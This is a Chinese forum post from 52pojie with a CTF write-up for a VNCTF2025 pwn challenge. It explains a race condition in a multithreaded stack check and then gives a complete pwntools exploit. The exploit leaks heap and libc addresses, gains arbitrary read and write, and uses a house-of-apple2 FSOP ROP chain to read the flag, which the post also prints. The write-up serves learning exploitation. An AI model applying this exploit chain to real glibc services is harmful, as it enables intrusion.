吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 598|回复: 1
收起左侧

[CTF] VNCTF2025 好easy嘅题啦 wp

[复制链接]
ajguthahbzzb 发表于 2025-3-18 21:00
0x0 前言
这道题是一道多线程题,其实漏洞很容易发现而且很容易利用,但是调试比较麻烦,需要通过调试定位stack和heap的相对位置,然后让stack一直pop到heap指针的位置。调试只能在ubuntu22.04上调,在其他版本会报错,这里我使用pwndocker环境。

0x1 程序逻辑分析
第一次连接时会询问“How many threads do you want to create?”,其实查看源码或者经过调试可以发现其并不是允许多少个线程同时创建,而是只是创建多少个thread arena而已,所以这里输入1确保所有连接的操作都在main arena上进行以便泄漏堆地址和libc地址。
以后的每次连接可以接收指定语法的code。在指令里面除了stack和heap以外,其他都是针对0-3寄存器没有什么bug的操作。stack漏洞在于判断条件stack->top != stack->size && stack->top没有加锁,使得可以让两个线程同时进入临界区从而产生索引溢出;heap使用了c++里的vector,官方wp说也有漏洞,不过没看出来。

0x2 思路
  • 让stack溢出。操作很简单,只需要两个socket连接同时发送stack指令和EOF即可同时进入判断后的代码里,然后分别发送pop指令即可溢出。注意,为了让heap离stack的距离近点,我的代码里在stack创建完后即填充heap数组,这样heap的vector结构体就会在stack后面的固定位置分配。(经过我对heap位置的调整,只需pop 0xd6次即可,比官方wp的快了不少)
  • 泄漏heap和libc地址。这通过将chunk放入large bin和tcache再取出可以得到。
  • 依次通过pop、push修改vector里的heap指针来完成任意地址读写,最终使用house of apple2完成攻击。注意,这里最好不要getshell,因为io不是通过标准输入输出流连接,或者在getshell前将输入输出流重定向。

0x3 完整exp
[Python] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
from pwncli import *
 
# VNCTF{an0N_t0kyo-1S-Th3_6EST-BAnD!ll7567ab}
 
elf = ELF("./pwn")
# io = gift.io = elf.process()
 
libc = ELF("./lib/libc.so.6")
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
 
get_remote = lambda: remote("127.0.0.1", 9999)
# get_remote = lambda: remote("node.vnteam.cn", 48169)
nop = lambda: None
 
code_arr = []
oper_arr = []
ios: list[remote] = [None] * 10
addrs = []
sleep_time = 0.05
 
def run_code(close=True):
    gift.io = get_remote()
    code_arr.append("EOF")
    ru(b"Input your Code (end with EOF): ")
    for c in code_arr:
        sleep(sleep_time)
        sl(c.encode())
    for oper in oper_arr:
        sleep(sleep_time)
        oper()
    code_arr.clear()
    oper_arr.clear()
    if close:
        ic()
 
def heap_op(reg, operation):
    code_arr.append(f"heap {reg} {reg}")
    oper_arr.append(lambda: sla("Heap operate: ", operation))
 
def heap_alloc(size):
    heap_op(0, "alloc")
    oper_arr.append(lambda: sla("Size: ", str(size)))
 
def heap_free(reg):
    heap_op(reg, "free")
 
def heap_print(reg, callback=nop):
    heap_op(reg, "print")
    oper_arr.append(callback)
 
def heap_input(reg, val):
    heap_op(reg, "input")
    oper_arr.append(lambda: sla(b"Input: ", val))
 
def stack_pop(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "pop"))
 
def stack_push(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "push"))
 
def print_reg(reg, callback=lambda: print(rl().decode())):
    code_arr.append(f"print {reg} {reg}")
    oper_arr.append(callback)
 
def input_reg(reg, val):
    code_arr.append(f"input {reg} {reg}")
    oper_arr.append(lambda: sla(f"Input reg{reg}: ", str(val).encode()))
 
def quit():
    code_arr.append("AveMujica 0 0")
    oper_arr.append(lambda: ru("ようこそAveMujicaの世界へ".encode()))
 
def leak():
    ru(b"Content: ")
    addr = u64(r(8))
    success(f"{addr = :x}")
    addrs.append(addr)
 
 
# 只有一个arena
io = get_remote()
io.sendlineafter(b"How many threads do you want to create? ", b"1")
io.close()
 
# 让stack指针越界
ios[0] = get_remote()
ios[1] = get_remote()
ios[0].recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios[1].recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios[0].sendline(b"stack 0 0")
sleep(sleep_time)
ios[1].sendline(b"stack 0 0")
for i in range(5): # 改良堆结构,让stack和heap相对位置更近
    sleep(sleep_time)
    ios[0].sendline(b"heap 0 0")
sleep(sleep_time)
ios[0].sendline(b"EOF")
sleep(sleep_time)
ios[1].sendline(b"EOF")
sleep(sleep_time)
ios[0].sendlineafter(b"Stack operate: ", b"pop")
for i in range(2):
    sleep(sleep_time)
    ios[0].sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios[0].sendlineafter(b"Size: ", str(0x80).encode())
for i in range(3):
    sleep(sleep_time)
    ios[0].sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios[0].sendlineafter(b"Size: ", str(0x10).encode())
sleep(sleep_time)
ios[1].sendlineafter(b"Stack operate: ", b"pop")
 
ios[0].close()
ios[1].close()
 
 
# 泄漏heap和libc地址
for i in range(5):
    heap_free(0)
for i in range(1, 4):
    input_reg(i, i)
heap_alloc(0x500)
heap_alloc(0x400)
heap_free(0)
heap_alloc(0x510) # 0
heap_alloc(0x500) # 1
heap_free(0)
heap_alloc(0x400) # 2
 
for i in range(3):
    heap_print(i, leak)
    # heap_free(0)
 
run_code()
 
libc.address = addrs[1] - 0x21b110
heap_base = (addrs[2] - 0x14) << 12
 
success(f"{libc.address = :x}")
success(f"{heap_base = :x}")
 
 
# 打_IO_list_all
for i in range(0xd6):
    stack_pop(0)
    print_reg(0)
 
stack_pop(0)
def leak_chunk():
    addr = int(rl().decode()[7:-1], 16)
    print(hex(addr))
    addrs.append(addr)
print_reg(0, leak_chunk)
input_reg(0, libc.sym._IO_list_all)
stack_push(0)
input_reg(0, 0)
run_code()
 
# 改回堆地址
heap_addr = addrs[-1]
heap_input(0, p64(heap_addr))
run_code()
 
 
stack_pop(0)
input_reg(0, heap_addr)
stack_push(0)
 
# house of apple2
leave_ret = libc.address + 0x000000000004da83
pop_rbp = libc.address + 0x000000000002a2e0
 
io_file = IO_FILE_plus_struct()
payload = io_file.house_of_apple2_stack_pivoting_when_exit(heap_addr,
    libc.sym._IO_wfile_jumps, leave_ret, pop_rbp,
    heap_addr + 0xE0 - 0x8
)
rop = ROP(libc)
rop.base = heap_addr + 0xE0
rop.open(b"./flag\0", 0)
rop.read(9, heap_base + 0x300, 0x100)
rop.write(7, heap_base + 0x300, 0x100)
print(rop.dump())
payload += rop.chain()
 
input_reg(0, 0)
heap_input(0, payload)
quit()
 
run_code(close=False)
 
ia()

免费评分

参与人数 1吾爱币 +7 热心值 +1 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

vstral 发表于 2025-3-19 17:08
666太强了师傅
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-1 09:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表